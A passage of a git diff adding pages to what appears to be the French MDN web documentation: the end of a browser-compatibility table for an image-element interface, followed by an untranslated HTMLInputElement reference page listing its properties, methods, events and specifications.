+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>14<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code> event handler</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(51)}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(34)}}</td>
+   <td>{{CompatChrome(34)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+  <tr>
+   <td><code>currentSrc </code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(33)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> and <code>y</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>14<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code> event handler</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cependant, ces propriétés <code>x</code> et <code>y</code> ont été supprimées dans Gecko 7.0 {{geckoRelease("7.0")}} mais plus tard, elles ont été restaurées dans Gecko 14.0 {{geckoRelease("14.0")}} pour des raisons de compatibilité.</p>
+
+<p>[2] Cette fonctionnalité est derrière la préférence <code>dom.image.srcset.enabled</code> , par défaut <code>false</code><em>(faux)</em>.</p>
+
+<p>[3] Cette fonctionnalité est derrière la préférence <code>dom.image.picture.enabled</code> , par défaut <code>false</code><em>(faux)</em>.</p>
+
+<p>[4] IE retourne <code>false</code> pour les images brisées.</p>
+
+<p>[5] Peut également être pris en charge dans les versions antérieures.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'élément HTML implémentant cette interface : {{HTMLElement("img")}}</p>
diff --git a/files/fr/web/api/htmlinputelement/index.html b/files/fr/web/api/htmlinputelement/index.html
new file mode 100644
index 0000000000..6a61fadaed
--- /dev/null
+++ b/files/fr/web/api/htmlinputelement/index.html
@@ -0,0 +1,426 @@
+---
+title: HTMLInputElement
+slug: Web/API/HTMLInputElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - NeedsNewLayout
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLInputElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>The <strong><code>HTMLInputElement</code></strong> interface provides special properties and methods for manipulating the options, layout, and presentation of {{HtmlElement("input")}} elements.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <caption>Properties related to the parent form</caption>
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>form </code>{{readonlyInline}}</td>
+   <td><em>{{domxref("HTMLFormElement")}}<code> object</code>:</em> <strong>Returns</strong> a reference to the parent {{HtmlElement("form")}} element.</td>
+  </tr>
+  <tr>
+   <td><code>formAction</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets</strong> the element's {{ htmlattrxref("formaction", "input") }} attribute, containing the URI of a program that processes information submitted by the element. This overrides the {{ htmlattrxref("action", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formEncType</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("formenctype", "input") }} attribute, containing the type of content that is used to submit the form to the server. This overrides the {{ htmlattrxref("enctype", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formMethod</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("formmethod", "input") }} attribute, containing the HTTP method that the browser uses to submit the form. This overrides the {{ htmlattrxref("method", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formNoValidate</code></td>
+   <td><em>{{jsxref("Boolean")}}:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("formnovalidate", "input") }} attribute, indicating that the form is not to be validated when it is submitted. This overrides the {{ htmlattrxref("novalidate", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formTarget</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("formtarget", "input") }} attribute, containing a name or keyword indicating where to display the response that is received after submitting the form. This overrides the {{ htmlattrxref("target", "form") }} attribute of the parent form.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties that apply to any type of input element that is not hidden</caption>
+ <tbody>
+  <tr>
+   <td><code>name</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("name", "input") }} attribute, containing a name that identifies the element when submitting the form.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code><em>string</em></code>: <strong>Returns / Sets</strong> the element's {{ htmlattrxref("type", "input") }} attribute, indicating the type of control to display. See {{ htmlattrxref("type", "input") }} attribute of {{ HTMLElement("input") }} for possible values.</td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td><em>{{jsxref("Boolean")}}:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("disabled", "input") }} attribute, indicating that the control is not available for interaction. The input values will not be submitted with the form. See also {{ htmlattrxref("readOnly", "input") }}</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td><em>{{jsxref("Boolean")}}:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("autofocus", "input") }} attribute, which specifies that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the {{htmlattrxref("autofocus","input")}} attribute. It cannot be applied if the {{htmlattrxref("type","input")}} attribute is set to <code>hidden</code> (that is, you cannot automatically set focus to a hidden control).</td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td><em>{{jsxref("Boolean")}}:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("required", "input") }} attribute, indicating that the user must fill in a value before submitting a form.</td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td><code><em>string</em></code><em>:</em> <strong>Returns / Sets</strong> the current value of the control.
+    <p class="note"><strong>Note:</strong> If the user enters a value different from the value expected, this may return an empty string.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>validity</code> {{readonlyInline}}</td>
+   <td><em>{{domxref("ValidityState")}}<code> object</code>:</em> <strong>Returns</strong> the element's current validity state.</td>
+  </tr>
+  <tr>
+   <td><code>validationMessage</code> {{readonlyInline}}</td>
+   <td><code><em>string</em></code><em>:</em> <strong>Returns</strong> a localized message that describes the validation constraints that the control does not satisfy (if any). This is the empty string if the control is not a candidate for constraint validation ({{htmlattrxref("willValidate","input")}} is false), or it satisfies its constraints. This value can be set by the <code>setCustomValidity</code> method.</td>
+  </tr>
+  <tr>
+   <td><code>willValidate </code>{{readonlyInline}}</td>
+   <td><em>{{jsxref("Boolean")}}:</em> <strong>Returns</strong> whether the element is a candidate for constraint validation. It is false if any conditions bar it from constraint validation, including: its <code>type</code> is <code>hidden</code>, <code>reset</code>, or <code>button</code>; it has a <a href="/en-US/docs/Web/HTML/Element/datalist">datalist</a> ancestor; its <code>disabled</code> property is <code>true</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption><a id="Properties_checkbox_radio" name="Properties_checkbox_radio"></a>Properties that apply only to elements of type <code>"checkbox"</code> or <code>"radio"</code></caption>
+ <tbody>
+  <tr>
+   <td><code>checked</code></td>
+   <td><em>{{jsxref("Boolean")}}:</em> <strong>Returns / Sets</strong> the current state of the element when {{htmlattrxref("type","input")}} is <code>checkbox</code> or <code>radio</code>.</td>
+  </tr>
+  <tr>
+   <td><code>defaultChecked</code></td>
+   <td><em>{{jsxref("Boolean")}}:</em> <strong>Returns / Sets</strong> the default state of a radio button or checkbox as originally specified in HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code><a id="indeterminate" name="indeterminate"></a>indeterminate</code></td>
+   <td><em>{{jsxref("Boolean")}}:</em> <strong>Returns</strong> whether the checkbox or radio button is in indeterminate state. For checkboxes, the effect is that the appearance of the checkbox is obscured/greyed in some way as to indicate its state is indeterminate (not checked but not unchecked). Does not affect the value of the <code>checked</code> attribute, and clicking the checkbox will set the value to false.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties that apply only to elements of type <code>"image"</code></caption>
+ <tbody>
+  <tr>
+   <td><code>alt</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets</strong> the element's {{ htmlattrxref("alt", "input") }} attribute, containing alternative text to use when {{htmlattrxref("type","input")}} is <code>image.</code></td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets</strong> the element's {{ htmlattrxref("height", "input") }} attribute, which defines the height of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <code>image</code>.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td><code><em>string</em></code><em>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("src", "input") }} attribute, which specifies a URI for the location of an image to display on the graphical submit button, if the value of {{htmlattrxref("type","input")}} is <code>image</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td><code><em>string</em></code><em>:</em> <strong>Returns / Sets</strong> the document's {{ htmlattrxref("width", "input") }} attribute, which defines the width of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <code>image</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption><a id="Properties_file" name="Properties_file"></a>Properties that apply only to elements of type <code>"file"</code></caption>
+ <tbody>
+  <tr>
+   <td><code>accept</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets</strong> the element's {{ htmlattrxref("accept", "input") }} attribute, containing comma-separated list of file types accepted by the server when {{htmlattrxref("type","input")}} is <code>file</code>.</td>
+  </tr>
+  <tr>
+   <td><code>allowdirs</code> {{non-standard_inline}}</td>
+   <td><em>{{jsxref("Boolean")}}:</em> Part of the non-standard Directory Upload API; <strong>indicates</strong> whether or not to allow directories and files both to be selected in the file list. Implemented only in Firefox and is hidden behind a preference.</td>
+  </tr>
+  <tr>
+   <td><a id="files_prop" name="files_prop"><code>files</code></a></td>
+   <td><strong>Returns/accepts</strong> a {{domxref("FileList")}} object, which contains a list of {{domxref("File")}} objects representing the files selected for upload.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.webkitdirectory", "webkitdirectory")}} {{Non-standard_inline}}</td>
+   <td><em>{{jsxref("Boolean")}}:</em><strong> Returns</strong> the {{htmlattrxref("webkitdirectory", "input")}} attribute; if true, the file system picker interface only accepts directories instead of files.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.webkitEntries", "webkitEntries")}} {{Non-standard_inline}}</td>
+   <td><em>Array of {{domxref("FileSystemEntry")}} objects:</em> <strong>Describes</strong> the currently selected files or directories.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties that apply only to <code>text/number</code>-containing or elements</caption>
+ <tbody>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets</strong> the element's {{htmlattrxref("autocomplete", "input")}} attribute, indicating whether the value of the control can be automatically completed by the browser. Ignored if the value of the {{htmlattrxref("type","input")}} attribute is <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type (<code>button</code>, <code>submit</code>, <code>reset</code>, <code>image</code>). Possible values are:<br>
+    <code>"on"</code>: the browser can autocomplete the value using previously stored value<br>
+    <code>"off"</code>: the user must explicity enter a value</td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("max", "input") }} attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum ({{htmlattrxref("min","input")}} attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>maxLength</code></td>
+   <td><em><code>long</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("maxlength", "input") }} attribute, containing the <u><strong>maximum number of characters</strong></u> (in Unicode code points) that the value can have. (If you set this to a negative number, an exception will be thrown.)</td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("min", "input") }} attribute, containing the minimum (numeric or date-time) value for this item, which must not be greater than its maximum ({{htmlattrxref("max","input")}} attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>minLength</code></td>
+   <td><em><code>long</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("minlength", "input") }} attribute, containing the <u><strong>minimum number of characters</strong></u> (in Unicode code points) that the value can have. (If you set this to a negative number, an exception will be thrown.)</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("pattern", "input") }} attribute, containing a <u><strong>regular expression</strong></u> that the control's value is checked against. Use the {{htmlattrxref("title","input")}} attribute to describe the pattern to help the user. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets </strong>the element's {{ htmlattrxref("placeholder", "input") }} attribute, containing a hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>readOnly</code></td>
+   <td><em><code>boolean</code>:</em><strong> Returns / Sets</strong> the element's {{ htmlattrxref("readonly", "input") }} attribute, indicating that the user cannot modify the value of the control.<br>
+    {{HTMLVersionInline(5)}}This is ignored if the value of the {{htmlattrxref("type","input")}} attribute is <code>hidden</code>, <code>range</code>, <code>color</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type.</td>
+  </tr>
+  <tr>
+   <td><code>selectionStart</code></td>
+   <td><em><code>unsigned long</code>:</em> <strong>Returns / Sets</strong> the beginning index of the selected text. When nothing is selected, this returns the position of the text input cursor (caret) inside of the {{HTMLElement("input")}} element.</td>
+  </tr>
+  <tr>
+   <td><code>selectionEnd</code></td>
+   <td><em><code>unsigned long</code>:</em> <strong>Returns / Sets </strong>the end index of the selected text. When there's no selection, this returns the offset of the character immediately following the current text input cursor position.</td>
+  </tr>
+  <tr>
+   <td><code>selectionDirection</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the direction in which selection occurred. Possible values are:<br>
+    <code>forward</code> if selection was performed in the start-to-end direction of the current locale<br>
+    <code>backward</code> for the opposite direction<br>
+    <code>none</code> if the direction is unknown</td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td><em><code>unsigned long</code>:</em> <strong>Returns / Sets </strong>the element's {{ htmlattrxref("size", "input") }} attribute, containing <u><strong>visual size of the control</strong></u>. This value is in pixels unless the value of {{htmlattrxref("type","input")}} is <code>text</code> or <code>password</code>, in which case, it is an integer number of characters. Applies only when {{htmlattrxref("type","input")}} is set to <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, or <code>password</code>; otherwise it is ignored.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties not yet categorized</caption>
+ <tbody>
+  <tr>
+   <td><code>defaultValue</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the default value as originally specified in the HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code>dirName</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets </strong>the directionality of the element.</td>
+  </tr>
+  <tr>
+   <td><code>accessKey</code></td>
+   <td><em><code>string</code>: </em><strong>Returns</strong> a string containing a single character that switches input focus to the control when pressed.</td>
+  </tr>
+  <tr>
+   <td><code>list</code> {{readonlyInline}}</td>
+   <td><em>{{domxref("HTMLElement")}}<code> object</code>:</em> <strong>Returns</strong> the element pointed by the {{ htmlattrxref("list", "input") }} attribute. The property may be <code>null</code> if no HTML element found in the same tree.</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td><em>{{jsxref("Boolean")}}:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("multiple", "input") }} attribute, indicating whether more than one value is possible (e.g., multiple files).</td>
+  </tr>
+  <tr>
+   <td><code>files</code></td>
+   <td><em>{{domxref("FileList")}}<code> array</code>:</em> <strong>Returns</strong> the list of selected files.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.labels")}} {{readonlyInline}}</td>
+   <td><em>{{domxref("NodeList")}}<code> array</code>:</em> <strong>Returns</strong> a list of {{ HTMLElement("label") }} elements that are labels for this element.</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td><code><em>string</em></code><em>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("step", "input") }} attribute, which works with<strong> </strong>{{htmlattrxref("min","input")}} and {{htmlattrxref("max","input")}} to limit the increments at which a numeric or date-time value can be set. It can be the string <code>any</code> or a positive floating point number. If this is not set to <code>any</code>, the control accepts only values at multiples of the step value greater than the minimum.</td>
+  </tr>
+  <tr>
+   <td><code>valueAsDate</code></td>
+   <td><em>{{jsxref("Date")}}<code> object</code>:</em> <strong>Returns / Sets</strong> the value of the element, interpreted as a date, or <code>null</code> if conversion is not possible.</td>
+  </tr>
+  <tr>
+   <td><code>valueAsNumber</code></td>
+   <td><em><code>double</code>:</em> <strong>Returns</strong> the value of the element, interpreted as one of the following, in order:
+    <ul>
+     <li>A time value</li>
+     <li>A number</li>
+     <li><code>NaN</code> if conversion is impossible</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code> {{experimental_inline}}</td>
+   <td><code><em>string</em></code><em>:</em> <strong>Defines</strong> the capitalization behavior for user input. Valid values are <code>none</code>, <code>off</code>, <code>characters</code>, <code>words</code>, or <code>sentences</code>.</td>
+  </tr>
+  <tr>
+   <td><code>inputmode</code></td>
+   <td>Provides a hint to browsers as to the type of virtual keyboard configuration to use when editing this element or its contents.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{domxref("HTMLInputElement.align")}} {{obsolete_inline}}</dt>
+ <dd><code><em>string</em></code><em>:</em> <strong>Represents</strong> the alignment of the element. <em>Use CSS instead.</em></dd>
+ <dt>{{domxref("HTMLInputElement.useMap")}} {{ obsolete_inline }}</dt>
+ <dd><code><em>string</em></code><em>:</em> <strong>Represents</strong> a client-side image map.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>Removes focus from the input element; keystrokes will subsequently go nowhere.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>Simulates a click on the input element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>Focuses on the input element; keystrokes will subsequently go to this element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.select()", "select()")}}</td>
+   <td>Selects all the text in the input element, and focuses it so the user can subsequently replace all of its content.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.setSelectionRange()", "setSelectionRange()")}}</td>
+   <td>Selects a range of text in the input element (but does not focus it).</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.setRangeText()", "setRangeText()")}}</td>
+   <td>Replaces a range of text in the input element with new text.</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code></td>
+   <td>Sets a custom validity message for the element. If this message is not the empty string, then the element is suffering from a custom validity error, and does not validate.</td>
+  </tr>
+  <tr>
+   <td><code>checkValidity()</code></td>
+   <td>Returns a {{jsxref("Boolean")}} that is <code>false</code> if the element is a candidate for constraint validation, and it does not satisfy its constraints. In this case, it also fires an {{event("invalid")}} event at the element. It returns <code>true</code> if the element is not a candidate for constraint validation, or if it satisfies its constraints.</td>
+  </tr>
+  <tr>
+   <td><code>reportValidity()</code></td>
+   <td>Runs the <code>checkValidity()</code> method, and if it returns false (for an invalid input or no pattern attribute provided), then it reports to the user that the input is invalid in the same manner as if you submitted a form.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{domxref("HTMLInputElement.stepDown()")}}</dt>
+ <dd>Decrements the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception:
+ <ul>
+  <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value,</li>
+  <li>if the element has no {{htmlattrxref("step","input")}} value,</li>
+  <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number,</li>
+  <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("HTMLInputElement.stepUp()")}}</dt>
+ <dd>Increments the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception:
+ <ul>
+  <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.,</li>
+  <li>if the element has no {{htmlattrxref("step","input")}} value,</li>
+  <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number,</li>
+  <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("HTMLInputElement.mozSetFileArray()")}} {{non-standard_inline}}</dt>
+ <dd>Sets the files selected on the input to the given array of {{domxref("File")}} objects. This is an alternative to <code>mozSetFileNameArray()</code> which can be used in frame scripts: a chrome script can <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">open files as File objects</a> and send them via <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">message manager</a>.</dd>
+ <dt>{{domxref("HTMLInputElement.mozGetFileNameArray()")}} {{non-standard_inline}}</dt>
+ <dd>Returns an array of all the file names from the input.</dd>
+ <dt>{{domxref("HTMLInputElement.mozSetFileNameArray()")}} {{non-standard_inline}}</dt>
+ <dd>Sets the filenames for the files selected on the input. Not for use in <a href="/en-US/Firefox/Multiprocess_Firefox/Limitations_of_frame_scripts">frame scripts</a>, because it accesses the file system.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to these events using <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/HTMLElement/input_event"><code>input</code></a></dt>
+ <dd>Fires when the <code>value</code> of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed. Note that this is actually fired on the {{domxref("HTMLElement")}} interface and also applies to <code><a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code> elements, but we've listed it here because it is most commonly used with form input elements.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/oninput">oninput</a></code> event handler property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/HTMLElement/invalid_event">invalid</a></code></dt>
+ <dd>Fired when an element does not satisfy its constraints during constraint validation.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/oninvalid">oninvalid</a></code> event handler property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/HTMLInputElement/search_event">search</a></code></dt>
+ <dd>Fired when a search is initiated on an {{HTMLElement("input")}} of <code>type="search"</code>.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onsearch">onsearch</a></code> event handler property.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlinputelement", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-input-element", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Technically, the <code>tabindex</code> and <code>accesskey</code> properties, as well as the <code>blur()</code>, <code>click()</code>, and <code>focus()</code> methods, are now defined on {{domxref("HTMLElement")}}.<br>
+    The following properties are now obsolete: <code>align</code> and <code>useMap</code>.<br>
